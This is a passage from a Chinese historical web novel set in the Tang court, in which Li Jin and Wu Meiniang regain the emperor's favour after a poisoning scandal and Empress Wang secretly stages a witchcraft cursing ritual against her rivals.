矛头,似乎隐隐指向了萧淑妃的披香殿。
萧淑妃脸色瞬间惨白,尖声道:“陛下!这是陷害!臣妾冤枉!定是有人栽赃!武氏她……”
“够了!” 李治厉声喝断,目光如冰刀般刮过萧淑妃惊惶的脸,又扫过一旁脸色变幻不定的王皇后,“此事,朕会令内侍省与御史台彻查!一干人犯,无论涉及何人,严惩不贷!皇后,你宫中竟有宵小之辈胆敢冒充你的名义下毒,你也有失察之责!即日起,闭门思过,无朕旨意,不得外出!萧淑妃,你宫中搜出可疑之物,嫌疑重大,禁足披香殿,非诏不得出,宫中一应事务,暂交德妃打理!”
“陛下!” 萧淑妃还想哭诉,被李治冰冷的眼神逼退。
李治不再看她们,转身走到榻边,看着昏迷不醒的武媚娘,沉默良久。他对太医道:“用最好的药,务必救醒她。从今日起,兰心苑用度,按……按美人(正四品)份例供给,增派可靠宫人伺候。一应饮食药物,由太医署专人负责,不得经手他人。没有朕的手谕,任何人不得探视打扰。”
美人!份例!专人负责!皇帝的口谕,等于将武媚娘从“带发修行、无人问津”的尴尬境地,一举提升到了有正式待遇、受皇帝保护的地位!虽然名分未定,但这份殊荣和庇护,已是前所未有的信号!
“臣等遵旨!” 太医和内侍连忙应下。
李治又看了一眼武媚娘苍白的脸,心中那丝怜惜与愧疚,如同藤蔓般缠绕生长。他或许仍未完全信任她,但此刻,他愿意给她一份保护,也愿意相信她的“忠诚”与“无辜”,至少,是相对于某些人的狠毒而言。
他转身离开兰心苑,心中已有了决断。流言之事,需尽快了结,给李瑾一个交代。后宫下毒之事,必须严查,敲打萧氏。至于武媚娘……或许,可以给她一个机会,一个证明她价值的机会。
当夜,李治在紫宸殿独自沉思许久,然后提笔,写了两道手谕。一道发往崇仁坊李宅:“着前将作监少监李瑾,明日入宫见驾。” 另一道,则是发往兰心苑,赐下若干珍贵药材、绸缎,并一句口谕:“安心养病,朕已知你忠心。”
消息传出,后宫与前朝,再次震动。皇帝的态度,已然明朗。李瑾的“待罪”生涯,似乎看到了尽头。而武媚娘,虽然中毒卧病,却因祸得福,真正进入了皇帝的视线,并获得了实质性的庇护与垂怜。
一场毒杀阴谋,反而成了打破僵局、触动帝心的关键转折。李瑾与武媚娘,一个在外以“退”明志,一个在内以“伤”表忠,终于在皇帝心中,洗刷了流言带来的大部分猜疑,换来了难得的怜惜与转机。然而,他们也彻底站到了萧淑妃(及其背后萧瑀)的对立面,未来的斗争,必将更加激烈、更加凶险。
但至少,他们赢得了宝贵的时间和空间,赢得了皇帝初步的信任。帝心已怜,坚冰渐融。接下来的路,便要看他们如何把握这来之不易的机会,将这份“怜惜”,转化为更坚实的权力基础了。
第70章 情比金坚时
三月末,长安城的春意终于挣脱了最后一丝寒意的桎梏,浩浩荡荡地席卷而来。柳絮纷飞如雪,桃花灼灼其华,连宫墙内肃穆的空气,似乎也因帝王心意的微妙转向,而悄然流淌着一股与前不同的、暗涌着新生与清算的复杂气息。
李瑾奉旨入宫,在阔别半月有余的紫宸殿,再次见到了皇帝李治。殿内依旧庄严肃穆,但李瑾敏锐地察觉到,御座上的年轻帝王,看他的目光中,少了几分审视与疏离,多了几分深沉的考量与一丝不易察觉的……歉意?或者说,是重新评估后的认可。
“臣,李瑾,叩见陛下。” 李瑾依礼参拜,身着简洁的青色常服,姿态恭谨而不卑微。
“平身。” 李治的声音平静,“赐座。”
“谢陛下。” 李瑾起身,在宦官搬来的锦墩上斜签着坐下,眼观鼻,鼻观心。
“李瑾,” 李治开门见山,目光如炬,“兰心苑之事,你可知晓?”
“臣略有耳闻,惊骇莫名。” 李瑾垂首道,“幸赖陛下天威圣明,洞察秋毫,方使奸谋未能得逞,武娘子得以保全。陛下仁德,实乃社稷之福。”
“哼,” 李治轻哼一声,听不出喜怒,“奸谋?你可知,这奸谋之中,亦有你一份‘功劳’?”
李瑾心头一跳,面上却露出恰到好处的愕然与惶恐:“陛下明鉴!臣自蒙陛下恩旨‘静思’以来,闭门谢客,谨言慎行,绝不敢有丝毫逾越,更遑论参与此等大逆不道之事!此心可表,天地共鉴!”
“朕非指你参与下毒。” 李治淡淡道,“朕是指,那些流言,那些猜忌,那些迫使你辞官、迫使武氏在宫中如履薄冰的暗流!若非这些,宵小之辈岂敢如此肆无忌惮,竟在宫廷之内行此鬼蜮伎俩?!”
他语气渐厉,显然对流言及其背后的推手深恶痛绝。内侍省与御史台的联合调查已有初步结果,虽未直接揪出萧瑀或萧淑妃本人,但几条关键线索都指向萧氏门下,几名涉事宫人、清客或被灭口,或“畏罪自尽”,但留下的痕迹足以让皇帝看清是谁在兴风作浪。
李瑾伏地:“陛下圣明烛照,洞察隐微。臣……蒙冤受谤,固然惶恐,然更恐因臣之故,牵连无辜,动摇陛下圣听,损害朝廷纲纪。故臣甘愿去职,以证清白,以安圣心。今陛下明察,臣……死而无憾!” 他再次提及“辞官明志”,姿态摆得极低,但句句在提醒皇帝自己的“忠诚”与“牺牲”。
李治看着跪伏在地的李瑾,这个年轻人以如此激烈的方式自证清白,又在“待罪”期间不卑不亢,如今听闻宫中变故,第一时间仍是表达对皇权的绝对忠诚与对“无辜者”(武媚娘)的关切……这份沉静与分寸,让李治心中的天平再次倾斜。
“起来吧。” 李治语气缓和了些,“你的忠心,朕知道了。你之所长,在实务,在开拓。朕前番允你‘督行实务’,本是望你有所建树。如今流言已明,奸佞伏法,你……可还愿为朕,为这大唐江山,继续效力?”
来了!最关键的时刻!李瑾强压心中激荡,再次郑重叩首:“陛下!臣之一身,皆陛下所赐。陛下但有所命,臣万死不辞!无论身居何职,身处何地,臣必竭尽所能,以实学报效陛下知遇之恩!纵使前路荆棘,臣亦当披荆斩棘,为陛下开出一条康庄大道!”
他没有直接要求复官,而是再次强调“效忠”与“实学”,将选择权完全交给皇帝,姿态无可挑剔。
李治满意地点了点头。他要的就是这种态度。李瑾的“实学”与开拓之策,是他未来制衡守旧派、富国强兵的重要棋子,不能因流言而废。如今正好借平反流言、追究下毒之事,重新启用,顺理成章。
“好!” 李治朗声道,“朕就再给你一次机会。着你复将作监少监、秘书郎原职,仍兼督行实务使,总领前定诸事。‘格物所’照常运行,一应经费人员,由你将作监统筹,户部、工部不得掣肘。然,需谨记前番教训,恪尽职守,谨言慎行,尤需避嫌。若再惹非议,朕定不轻饶!”
“臣,领旨谢恩!必当肝脑涂地,以报陛下天恩!” 李瑾重重叩首,声音带着压抑的激动。虽然官职未升,但“复职”本身已是最大的胜利,意味着皇帝对流言的彻底否定,对他清白的正式承认,也意味着“督行实务”和“格物所”的事业得以延续,甚至可能获得更多支持。
“另外,” 李治沉吟片刻,又道,“兰心苑武氏,无辜受此大难,朕心甚怜。其性温良,知书达理,于困厄中不忘忠君本分,甚为难得。着即晋为美人(正四品),赐居绮云阁,一应待遇,依制供给。命太医署悉心调养,务使其早日康复。”
美人!正四品!还有独立的宫苑“绮云阁”!这已是从“先帝才人”、“带发修行”的身份,正式跃升为皇帝后宫中一位有品级、有待遇的妃嫔!虽然品阶不算很高,但其象征意义和实际处境的改善,是天壤之别!更重要的是,这是皇帝在“下毒”风波后,对武媚娘的明确肯定与补偿,也是对后宫众人的一个清晰信号——武媚娘,今非昔比了。
“陛下仁德,泽被后宫,武美人必感念天恩。” 李瑾适时地附和,心中为武媚娘松了口气,也感到一丝欣慰。他们的计划,虽然因“下毒”意外而被打乱节奏,但结果似乎……比预想的更好。
消息传出,朝野再次震动。李瑾复职,意味着皇帝对“实学”派的支持未变,甚至可能因“补偿”心理而更加坚定。萧瑀一系则如同被狠狠扇了一记耳光,虽然皇帝未深究到底,但重新启用李瑾、晋封武媚娘,无疑是对他们最严厉的警告。许多观望的官员,开始重新掂量风向。
后宫之中,更是波澜迭起。王皇后闭门思过,颜面尽失。萧淑妃被禁足披香殿,气得几乎咬碎银牙,却又无可奈何,只能暗中诅咒,积蓄力量。而武媚娘,从兰心苑的“弃子”,一跃成为“武美人”,迁入虽然不大但独立雅致的绮云阁,身边伺候的宫人也换了一批看着更稳重可靠的。太医署的刘神威被指定为她的专属医官,每日请脉。用度充足,饮食·精细,炭火温暖,与兰心苑的凄冷宛若两个世界。
然而,武媚娘并未被这突如其来的“恩宠”冲昏头脑。她“病体”未愈,依旧苍白柔弱,每日大部分时间静卧休养,对前来道贺或打探的宫妃、命妇,皆以“病中不宜见客”婉拒,态度恭谨谦和。她甚至特意让人向皇后宫中递了话,言辞恳切,感谢皇后昔日照拂,并为自己“牵连”皇后受责感到“惶恐不安”,请皇后“务必保重凤体”。这份“懂事”与“不忘本”,经由各种渠道传入皇帝耳中,更添怜惜。
她清楚,眼下最重要的是巩固这得来不易的地位,消除皇帝最后一丝疑虑,并进一步赢得其好感与信任。她让秋月找来李治近年来所做的诗文(通过刘神威从秘书省弄来抄本),在身体稍好时,便倚在榻上,细细研读,偶尔提笔,在纸笺上写下些感悟或唱和之句,字迹娟秀,见解时有独到,但绝不刻意卖弄。这些诗稿,被她“无意”放在案头,或“随口”与刘神威谈论医理时提及一句半句,总能“恰巧”被皇帝派来探视或送赏的内侍看见,带回只言片语。
李治偶尔问起武美人病情,内侍便会“顺口”提及:“武美人今日气色好些,还看了会儿书,似是陛下御制诗文集。”“武美人言,陛下‘风摇玉佩清,日射金铺艳’一句,气象开阔,有太宗遗风。”“武美人抄了段《金刚经》,说是为陛下祈福,愿陛下圣体康泰,国运绵长。”
这些点点滴滴,如同细雨润物,悄然改变着皇帝对武媚娘的印象。从一个需要怜悯的、可能带来麻烦的“旧人”,逐渐变成一个有才情、懂进退、心念君上、且在逆境中保持坚韧与善意的特别女子。
而前朝的李瑾,在复职后,并未急于大张旗鼓,而是更加沉稳务实。他首先去拜访了于志宁、阎立本等支持者,感谢他们在此期间的维护。然后,他重新梳理“督行实务”的各项工作,尤其关注“新式农具”在司农寺主持下于更多州县的推广情况,以及“格物所”在“海船改良”和“新式纺机”等几个重点项目上的进展。他撰写了一份详实的阶段性汇报,数据清晰,成效显著,问题与对策也列得明白,呈递御前。
在朝堂上,他发言更加谨慎,多就事论事,专注于技术细节和可行方案,避免卷入任何人事纷争。对于萧瑀一系的偶尔刁难,他能避则避,实在避不开,便以数据和事实温和反驳,绝不针锋相对,将“专注实务、不涉党争”的姿态做足。
皇帝李治冷眼旁观,对李瑾的这份“踏实”与“成效”颇为满意。看来,经历此番风波,这个年轻人更加成熟稳重了,可用。
时间在表面的平静与暗地的角力中,滑入四月。武媚娘的身体在精心调养下逐渐康复,气色好了许多,偶尔会在绮云阁的小花园中散步,依旧素衣淡妆,但那份历经磨难后愈发沉静通透的气度,却别有一种动人心魄的美。皇帝来过绮云阁两次,一次是她“病中”,略坐片刻,询问病情。一次是她稍愈后,与她谈及诗文,发现她果然颇有见地,且言语间对他治国理政的艰难颇能体谅,不由谈兴稍浓,直至宫门将钥方离去。虽未留宿,但这份“交谈”的殊荣,已让后宫无数人眼红心热。
李瑾的“督行实务”也稳步推进,几项关键试验取得突破性进展,尤其是“海船龙骨”的改良,经水槽模拟和工匠评估,被认为可显著提升远航船只的稳定性和载重量,这对未来开拓海贸至关重要。李治闻奏,大为赞赏,特赐金帛嘉奖“格物所”有功匠师。
这一日,暮春傍晚。李瑾在将作监处理完公务,信步走到衙署后的高台之上。此处可遥望宫城方向。夕阳西下,给巍峨的宫殿群镀上一层温暖的金辉。他的目光,不自觉地投向那片熟悉的、属于绮云阁方位的飞檐。
他知道,她和自己一样,正在各自的战场上,小心翼翼地巩固着来之不易的成果,也为下一次更大的进取积蓄力量。流言的狂风,下毒的恶浪,不仅未能摧毁他们,反而让他们的同盟更加紧密,让彼此在对方心中的分量更加沉实。那是一种超越寻常情爱、糅合了欣赏、信任、默契、乃至一丝惺惺相惜的复杂情感,在权力的荆棘与生存的熔炉中淬炼得愈发坚韧。
“公子,” 李福悄然走近,低声道,“绮云阁那边,秋月姑娘悄悄递了信出来。” 说着,递上一枚蜡丸。
李瑾捏碎蜡丸,展开里面小小的纸卷。上面只有一行清秀的小字:“风住尘香花已尽,日晚倦梳头。物是人非事事休,欲语泪先流。闻说双溪春尚好,也拟泛轻舟。只恐双溪舴艋舟,载不动许多愁。” 这是李清照的词,但在这个时代尚未出现。是武媚娘借用其中意境,表达劫后余生的复杂心绪,亦有试探他是否能懂其中深意之意。
李瑾看着这行字,眼前仿佛浮现她独坐绮云阁窗下,对着暮春残景,心中百感交集的画面。那“载不动许多愁”里,有对过往苦难的后怕,有对眼前机遇的审慎,或许……也有一丝对未来的迷茫与对他的隐隐依赖?
他沉默片刻,对李福道:“取纸笔来。”
很快,他在同样的窄小纸卷上,写下另一行字:“青山缭绕疑无路,忽见千帆隐映来。” 化用王安石诗句,既是对她“载不动许多愁”的回应与开解(“疑无路”对应“许多愁”),暗示困境只是暂时,前路豁然开朗(“千帆隐映来”),也暗喻他们如同同舟共济的“千帆”之一,终将破浪前行。这既是对同盟的确认,也是一种鼓励。
他将纸卷重新封入蜡丸,交给李福:“老办法,送到刘太医处。”
做完这一切,他再次望向宫城。夕阳已沉入远山,天际只余一抹绚烂的晚霞,如同烈火燃烧后冷却的余烬,壮丽而宁静。
他知道,他和她之间,那种因共同历险、彼此交付后背而产生的羁绊,已深刻入骨。这份情感,混杂着野心、算计、欣赏、怜惜与绝对的信任,比纯粹的男女之情更加复杂,也比单纯的政治同盟更加牢固。它是在黑暗宫廷与汹涌朝堂中,唯一能彼此确认的坐标与光源。
情比金坚。 这“情”,是知己之情,是战友之情,是于万丈深渊旁携手而行的托付之情,亦是在这冰冷时代洪流中,两个孤独灵魂的相互辨认与温暖。
风波暂歇,心结已解,同盟弥坚。而属于他们的、更加波澜壮阔的时代,或许,才刚刚拉开序幕。他们将以更成熟的姿态,更稳固的联盟,迎接即将到来的、注定更加激烈的风暴。
远处宫灯次第亮起,如同星辰落入凡间。李瑾转身,走下高台,身影融入渐浓的暮色之中。前路漫漫,道阻且长,然吾道不孤。
第71章 王后行厌胜
贞观二十四年的暮春,本该是长安城最富生机的时节,可矗立在皇城中央的立政殿,却仿佛被一层无形的、令人窒息的灰败气息笼罩着,隔绝了外间一切明媚的光景。自“下毒”风波后,王皇后被皇帝下旨“闭门思过,无旨不得外出”已近月余。这月余的光阴,对这位曾经母仪天下、尊荣无限的中宫之主而言,漫长得如同在无间地狱中苦熬,每一日都在消磨着她仅存的体面、理智,乃至生的希望。
殿中依旧陈设华贵,金玉生辉,然那华贵之下,却透着一股子无人问津的死寂与腐朽气息。窗棂紧闭,殿内光线昏暗,熏香也换成了浓烈到近乎刺鼻的檀香,却依旧难以掩盖那股从人心深处散发出来的、日渐浓郁的焦虑与绝望。宫女宦官们个个屏息凝神,脚步放得极轻,生怕一丝声响便会惊动那位日益阴郁、喜怒无常的皇后殿下。
王皇后,不,或许此刻该称她为“王氏”,独自坐在凤榻上,身上穿着一件半旧的常服,发髻只是简单挽起,插着一支素银簪,再无往日凤冠霞帔的雍容。她的面容依旧美丽,却笼罩着一层挥之不去的憔悴与戾气,眼下的青黑,深陷的双颊,以及那微微颤抖的、紧握着扶手的手指,无不昭示着她内心正经历着怎样的煎熬。
“闭门思过”?“思”什么“过”?她有什么“过”?是错在当年未能诞下嫡子?是错在性子端严不够柔媚?还是错在……不该一时心软,接回武媚娘那个祸水?!
每每思及此,王皇后便觉心如刀绞,一股无法抑制的怨毒与愤恨便汹涌而起。她恨萧淑妃那个贱人,恃宠而骄,觊觎后位,处处与她作对!她更恨武媚娘,那个看似温顺、实则心机深沉的狐媚子!若非她回宫,若非她惹出那许多是非,自己何至于被陛下猜疑、厌弃,落得如此田地?!如今倒好,萧淑妃被禁足,武媚娘却因祸得福,晋了美人,迁了宫室,得了陛下的怜惜!而她这个堂堂正宫皇后,却成了这深宫之中最大的笑话,被囚禁在此,无人问津,连娘家递进来的书信,也多是埋怨与担忧,甚至隐约透出让她“自省”、“莫要再触怒天颜”之意!
不!她不甘心!她是太原王氏的嫡女,是先帝与长孙皇后亲自为当时还是晋王的陛下选定的正妃!她陪伴陛下从晋王府到东宫,再到这太极宫,一路走来,谨守妇德,管理六宫,何曾有过大错?陛下怎能如此对她?!就因为她没有儿子?可那是天意!是她愿意的吗?!
“娘娘,该用午膳了。” 贴身侍女春兰小心翼翼地捧着食案进来,轻声禀报。
王皇后木然抬眼,看着案上那几样精致的菜肴——依旧是皇后的份例,未曾短少,可吃在嘴里,却味同嚼蜡。她挥了挥手,示意撤下。
“陛下……今日可曾问起立政殿?” 她哑着嗓子,带着最后一丝微弱的希冀问道。这几乎成了她每日必问的话。
春兰低下头,声音细若蚊蚋:“回娘娘,未曾……”
“呵……” 王皇后发出一声短促而凄凉的冷笑,眼中最后一点光亮也熄灭了。陛下……是真的厌弃她了。或许,已经在考虑“废后”了?这个念头如同毒蛇,日夜啃噬着她的心。不,绝不能!她若被废,王氏一族颜面何存?她又有何面目去见地下的先帝与长孙皇后?她宁愿死,也绝不能承受被废的屈辱!
可是,该怎么办?萧淑妃失宠,武媚娘崛起,陛下心已不在她这里。朝中,父亲(王仁祐)虽是尚书,但势力远不及长孙无忌、褚遂良,更难以抗衡如今圣眷复炽、又有“实学”之功傍身的李瑾。她在后宫,更是孤立无援,昔日依附她的妃嫔宫人,如今都唯恐避之不及。
绝望,如同冰冷的潮水,一寸寸淹没她的理智。当所有正常的、符合礼法的途径都被堵死,当恐惧与怨恨积累到顶点,一些阴暗的、被礼法所严厉禁止的、源自人性最深处的愚昧与疯狂的念头,便开始悄然滋生。
这一日,一个来自宫外的、经由她乳母悄悄递进来的消息,如同最后一根稻草,压垮了她摇摇欲坠的心防。消息称,陛下近来不仅常去绮云阁,甚至在与几位近臣议事时,偶尔提及“后宫之主,当德行、才智、子嗣俱备,方足以母仪天下”,言语间对“无子”、“乏智”似有憾意。更有传言,陛下私下询问过太史令,关于“星辰异动,主中宫不稳”的征兆……
“中宫不稳”!这是在暗示要废后啊!王皇后听到此处,浑身冰凉,如坠冰窟。最后一丝侥幸也荡然无存。
“娘娘,奴婢……奴婢还听说一事。” 乳母王氏(与皇后同族,是其心腹)屏退左右,凑到王皇后耳边,声音压得极低,带着一种秘而不宣的诡异,“奴婢有个远房亲戚,认得一个从蜀中来的游方道士,据说……颇有些道行,尤其擅长……厌胜祈福之术。最是灵验不过,可……可改人气运,甚至……咒诅仇敌……”
厌胜!这两个字如同惊雷,在王皇后耳边炸响!她猛地瞪大眼睛,看向乳母。厌胜之术,自汉武巫蛊之祸后,便是宫廷大忌,是十恶不赦的重罪!一旦被发现,不仅是本人,家族都要受到株连!
“你……你胡说什么?!” 王皇后本能地斥道,声音却因恐惧和……一丝难以言喻的心动而颤抖。
“娘娘!” 乳母“噗通”跪下,老泪纵横,“老奴看着娘娘长大,实在不忍见娘娘被那起子小人逼到如此境地啊!那武氏,不过一先帝弃妇,狐媚惑主,如今竟敢凌驾于娘娘之上!萧氏虽禁足,其心不死!陛下又被蒙蔽……娘娘,您才是正宫皇后啊!若不……若不设法自保,只怕……只怕祸不旋踵啊!”
乳母的话,句句戳中王皇后心中最痛、最恐惧之处。是啊,她是正宫皇后,却要被那些贱人逼到绝路!陛下无情,朝臣势利,她还能依靠谁?礼法?规矩?那些东西现在救不了她!既然明路已绝,那……暗路呢?那虚无缥缈、却传说中拥有莫测威力的鬼神之力呢?
一个疯狂而危险的念头,如同藤蔓般在她心中疯狂生长、缠绕。或许……或许这厌胜之术,真的能帮她?能诅咒武媚娘那个祸水暴毙?能让萧淑妃永世不得翻身?甚至……能让陛下回心转意,重新看到她这个结发妻子的好?
恐惧、怨恨、绝望,以及对失去一切(后位、家族荣耀、乃至性命)的深深恐惧,最终压倒了她残存的理智和对律法的敬畏。在乳母的哭诉和“保证”下,她那被绝望烧灼得近乎空洞的眼中,燃起了一簇幽暗而扭曲的火焰。
“那道士……可靠么?” 她听见自己的声音,干涩而沙哑,仿佛不是自己的。
“可靠!绝对可靠!” 乳母见有门,连忙道,“他行事隐秘,只要娘娘赐下被咒者的生辰八字、贴身之物,再于隐秘之处设坛作法……据说,无有不验!只是……需娘娘诚心,且需在月晦之夜,阴气最盛之时进行,效果最佳。”
“生辰八字……贴身之物……” 王皇后喃喃重复,眼神愈发空洞而狠戾。武媚娘的生辰八字,内侍省应有存档,以她皇后之尊,设法弄到不难。至于贴身之物……她想起武媚娘在兰心苑时,曾“孝敬”过她一柄自己用过的旧玉梳,说是“祈福所用”,当时她随手收了,丢在妆奁底层。那玉梳,应算“贴身之物”吧?还有陛下……陛下的生辰八字她自然知晓,至于贴身之物……陛下早年赐她的一枚随身玉佩,她一直珍藏……
一个恶毒而周密的计划,在她混乱的脑海中逐渐成形。她不仅要诅咒武媚娘,还要诅咒所有挡她路、负她的人!甚至……若陛下当真铁了心要废她,那便让陛下也尝尝苦头,让他知道,抛弃发妻的代价!
“去办。” 王皇后终于从牙缝里挤出两个字,声音冷得像冰,“要快,要隐秘。所需银钱,从我的体己里出。记住,此事若泄露半分,你我,还有王氏全族,皆死无葬身之地!”
“老奴明白!老奴万死也会办妥!” 乳母连连叩首,眼中闪过一抹异样的光芒。
数日后,一批“特殊”的物品,经由乳母的远房亲戚,悄悄送入了立政殿。有写着生辰八字的黄纸,有贴着诡异符咒的桃木小人,有特制的、散发着古怪气味的线香和朱砂,还有几包说不清用途的草药粉末。乳母在立政殿后殿一间堆放杂物的、几乎无人踏足的偏僻小隔间里,悄悄布置了一个简陋的法坛。墙上贴着歪歪扭扭的符咒,案上供着面目模糊的邪神木雕(说是“神”,实则狰狞),摆放着那些桃木小人,其中两个小人心口处,分别贴着写有“武媚娘”、“萧淑妃”名字与生辰八字的黄纸,还有一个稍大些的,贴的却是“李治”二字!小人身上,缠绕着从那柄旧玉梳上取下的几根长发(乳母说是武媚娘的),以及从皇帝所赐玉佩上悄悄刮下的一点玉粉。旁边,甚至还有一个更小的木人,上面写着“李忠”(太子)的名字,这恶毒的心思,已近乎丧心病狂。
月晦之夜,乌云蔽月。立政殿早早熄了灯火,只有后殿那间隐秘的隔间里,一点幽绿如鬼火的烛光在跳动。乳母换上了一身不伦不类的道袍,口中念念有词,手持一柄木剑,对着那几个桃木小人做出各种古怪的动作,时而焚烧符纸,时而撒出药粉。王皇后没有亲自参与“作法”,她只是远远地跪在法坛前,紧闭双眼,双手合十,不,不是祈福,而是在心中一遍又一遍地、用最恶毒的语言诅咒着那些她怨恨的名字,将自己所有的恐惧、不甘、愤怒,都倾注在这邪恶的仪式之中。
她不知道的是,自她被禁足后,立政殿看似铁板一块,实则早已被各方势力渗透。她身边,并非所有人都对她“忠心耿耿”。有人因家族前程忧心,有人因她日渐乖戾的性情而生出异心,也有人……本就是别人早早埋下的钉子。
更不知道的是,就在这“厌胜”仪式进行的同时,绮云阁中尚未安寝的武媚娘,正听着秋月从一位“恰好”在立政殿当值、受过郭老夫人恩惠的老宦官那里听来的、关于皇后近日“举止异常”、“后殿时有异响异香”的模糊禀报,嘴角勾起了一丝冰冷而了然的弧度。
而崇仁坊李宅中,尚未入睡的李瑾,也收到了王掌柜通过特殊渠道送来的消息:“立政殿王氏乳母,近日与一蜀中口音之外男接触频繁,购入朱砂、符纸等物,行踪诡秘。”
风暴的引线,已然点燃。王皇后在绝望与恐惧中迈出的这疯狂一步,不仅未能挽救她摇摇欲坠的后位,反而亲手将最致命的把柄,递到了她的敌人手中,也为自己和家族的覆灭,敲响了丧钟。巫蛊的阴影,如同最浓郁的墨汁,滴入了本就浑浊不堪的宫廷死水,预示着即将到来的,将是一场席卷前朝后宫的、足以改天换地的滔天巨浪。
第72章 瑾破邪祟案
四月十五,月圆之夜。长安城沉浸在朦胧的月色与渐浓的春夜芬芳之中,而皇城大内,立政殿后那间隐秘的隔间里,一场更加诡谲阴森的“厌胜”法事,在乳母王氏的主持下,再次于子夜阴气最盛之时悄然进行。绿荧荧的鬼火般的烛光摇曳,符纸焚烧的呛人烟气与特制药粉的古怪甜腻气息混合,令人作呕。几个面目狰狞的桃木小人静静躺在法坛上,仿佛在无声地吸纳着这间陋室中弥漫的怨毒与绝望。
王皇后并未亲临这场“法事”,她独自跪在寝殿的黑暗中,对着窗外那轮冰冷的圆月,心中翻腾着越来越炽烈的怨恨与一丝连自己都不愿承认的、对鬼神之力的病态期待。她不知道,一张无形的大网,正随着她这疯狂的举动,迅速收紧。
绮云阁中,武媚娘斜倚在铺着锦褥的软榻上,身上盖着薄衾。她的“病”已好了七八分,脸色恢复了红润,只是眉宇间依旧带着一丝恰到好处的、惹人怜惜的倦意。刘神威刚刚为她请过脉,留下调养的方子。宫女秋月正轻轻为她打着扇。
“秋月,” 武媚娘忽然轻声开口,声音平静无波,“陛下今夜,可是宿在紫宸殿?”
“回娘子,正是。听说陛下批阅奏章至亥时方歇。” 秋月答道。
“嗯。” 武媚娘闭上眼,仿佛在养神,指尖却无意识地捻动着腕上的檀木佛珠。她知道,那件事,该发酵到火候了。李瑾那边,也该有所动作了。她必须确保,当“意外”被发现时,皇帝第一个想到的,是来她这里寻求一丝“安宁”与“慰藉”,或者,至少不会将她与“邪祟”联系起来。
与此同时,崇仁坊李宅书房内,灯火通明。李瑾并未就寝,他面前摊开着几份文书,心思却不在其上。王掌柜垂手侍立在一旁,低声禀报着最新的消息。
“……立政殿后那间屋子,这几日门户看得更紧了,只有那乳母和两个绝对心腹能进出。但咱们的人从通风口缝隙里看到,里面确有香烛、符纸,还有……几个木头小人。气味也很怪异。另外,那蜀中道士,今日午后已悄悄离了长安,往东都方向去了,行踪鬼祟,咱们的人盯着。”
李瑾手指轻叩桌面,眼中闪过一丝冷芒。桃木小人、符纸、邪神、蜀中道士……证据链已经基本完整,只差一个“恰如其分”的发现时机,和一个“无可辩驳”的破案方式。
直接告发?容易打草惊蛇,也显得像是政治构陷。必须让皇帝“自己”发现,或者由一个“绝对可靠”、“出乎所有人意料”的人来揭破,并且,要用一种让所有人、尤其是皇帝和那些信奉“子不语怪力乱神”的儒臣们,都能信服的方式——一种基于“实学”与“道理”的方式,而非神神鬼鬼的指控。
他心中已有了完整的计划。这个计划,需要一个人的配合,或者说,一个机构的便利——太医署,以及那位与他交好、如今又负责为武媚娘调理身体的太医刘神威。
“王掌柜,” 李瑾沉声道,“你立刻去办几件事。第一,让咱们在将作监‘格物所’的人,连夜准备几样东西……” 他低声吩咐了一番,王掌柜边听边点头,眼中露出惊异与钦佩之色。
“第二,你想办法,将这封密信,在天亮前,务必送到刘神威太医手中,要亲手交给他,不能经任何人之手。” 李瑾提笔,快速写下一封短信,用火漆封好,递给王掌柜。
“第三,让李福准备一下,明日一早,我要进宫,‘偶遇’陛下,有‘要事’禀奏。”
“是,公子。” 王掌柜领命,匆匆而去。
李瑾走到窗边,望着窗外皎洁的明月,深深吸了一口气。王皇后,你这是自寻死路。厌胜之术,尤其是涉及皇帝、太子,这已不是简单的后宫争宠,而是十恶不赦、动摇国本的大罪!这一次,谁都救不了你。
翌日清晨,李瑾早早来到皇城,他并未去将作监衙门,而是“恰好”在皇帝常去的、通往两仪殿的廊道旁“等候”。当皇帝李治的仪仗经过时,李瑾立刻上前行礼。
“臣李瑾,参见陛下。”
“李卿?这么早在此,可是有事?” 李治看到李瑾,有些意外。自复职后,李瑾一直很低调,今日主动在此“偶遇”,必有缘故。
“回陛下,臣昨夜在将作监‘格物所’查验一批新到的海外药材时,无意中发现一桩蹊跷之事,心中不安,特来禀奏陛下。” 李瑾神色凝重。
“哦?何事?” 李治示意仪仗暂停。
“陛下,臣发现,那批药材中,混有几种极为罕见、且药性相冲的草药。其中一种,名‘鬼罂粟’,产自南诏瘴疠之地,有致幻之效,少量可入药镇痛,过量则能乱人心智,产生种种恐怖幻象;另一种,名‘腐骨花’,其花粉有剧毒,且燃烧后产生的烟气,久闻可致人精神萎靡,产生厌世之念,甚至……引导人做出疯狂之举。此二物,皆被列入太医署禁用、慎用之列,寻常药铺绝难见到。” 李瑾语速平缓,却字字惊心。
李治眉头皱起:“竟有此事?药材来源可查?混入此等邪物,意欲何为?”
“来源正在追查,似是混杂在岭南贡品之中,一时难以厘清。” 李瑾道,“然臣担忧者,并非药材本身。而是臣查阅格物所典籍,并与太医署同僚探讨后发现,此二物,若与朱砂、符纸灰烬、以及某些特定生辰八字者的毛发、贴身之物一同焚烧,并在特定时辰、密闭空间内施行某些……仪式,其产生的混合烟气,不仅毒性倍增,更会产生一种强烈的心理暗示与群体性癔症效应!”
他刻意用了“心理暗示”、“群体性癔症”等这个时代略显陌生、但结合上下文不难理解的词汇。
“陛下,” 李瑾抬起头,目光诚恳中带着忧色,“臣读史,知汉武巫蛊之祸,牵连无数,惨烈异常。然以今日格物之眼光视之,所谓‘巫蛊’、‘厌胜’,其中许多‘灵验’、‘见鬼’之事,或许并非真有鬼神作祟,而正是利用了某些罕见毒物、致幻药剂,配合特定环境与心理引导,使人产生幻觉、互相猜忌、行为癫狂!此非怪力乱神,实乃人为操纵之物毒与心毒!”
这番话,如同惊雷,在李治耳边炸响!他熟读史书,对巫蛊之祸的惨烈自然知晓,也深知其危害。但李瑾这番从“毒物”、“致幻”、“心理暗示”角度进行的解释,却是闻所未闻,细思之下,却又觉得……竟有几分道理!至少,比虚无缥缈的“鬼神”之说,更符合他一贯的务实心态。
“你的意思是……” 李治眼中寒光一闪,“宫中近日,或有此类阴私勾当?”
“臣不敢妄断。” 李瑾立刻躬身,“然,既有此等邪物流入宫中,不得不防。臣恳请陛下,为保宫闱清净、圣体安康,可否允臣与太医署精通药理、且绝对可靠之人一道,暗中稽查各宫苑,尤其是近期有异常气味、或宫人举止异常之处,以防微杜渐?臣愿以项上人头担保,绝无他意,只为陛下、为社稷安危计!”
这个请求,合情合理。皇帝担心宫中有人用邪物,派太医(专业)和将作监少监(懂海外奇物、格物之理)去暗中查访,再正常不过。而且李瑾姿态极低,理由充分。
